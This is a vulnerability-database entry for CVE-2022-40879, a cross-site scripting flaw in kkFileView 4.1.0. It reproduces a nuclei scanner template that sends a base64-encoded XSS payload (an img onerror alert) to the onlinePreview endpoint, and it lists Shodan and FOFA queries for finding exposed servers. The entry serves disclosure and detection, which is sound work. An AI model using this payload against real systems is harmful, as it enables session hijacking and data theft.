Lucene search
K

kkFileView 4.1.0 - Cross-Site Scripting

🗓️ 06 Jul 2026 03:02:03Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 49 Views

kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user, potentially leading to session hijacking, defacement, or theft of sensitive information

Related
Refs
Code
ReporterTitlePublishedViews
Family
CNNVD
kkFileView 跨站脚本漏洞
29 Sep 202200:00
cnnvd
CVE
CVE-2022-40879
29 Sep 202216:22
cve
Cvelist
CVE-2022-40879
29 Sep 202216:22
cvelist
NVD
CVE-2022-40879
29 Sep 202217:15
nvd
Prion
Cross site scripting
29 Sep 202217:15
prion
Positive Technologies
PT-2022-25603 · Unknown · Kkfileview
29 Sep 202200:00
ptsecurity
RedhatCVE
CVE-2022-40879
22 May 202523:37
redhatcve
Vulnrichment
CVE-2022-40879
29 Sep 202216:22
vulnrichment
id: CVE-2022-40879

info:
  name: kkFileView 4.1.0 - Cross-Site Scripting
  author: arafatansari,co5mos
  severity: medium
  description: |
    kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/389
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40879
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-40879
    cwe-id: CWE-79
    epss-score: 0.01113
    epss-percentile: 0.62023
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve,cve2022,kkFileView,xss,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=1 onerror=alert(document.domain)>=PQ</p>'
          - '该文件不'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d01c149a648f0e2f60326624ebabf0aee52d162fe9fe7800d8f4b61f22b29634022061fd0fd951e795e8450c978a88d86a96f7e6127d7281c6836157e98393b5fe9b:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation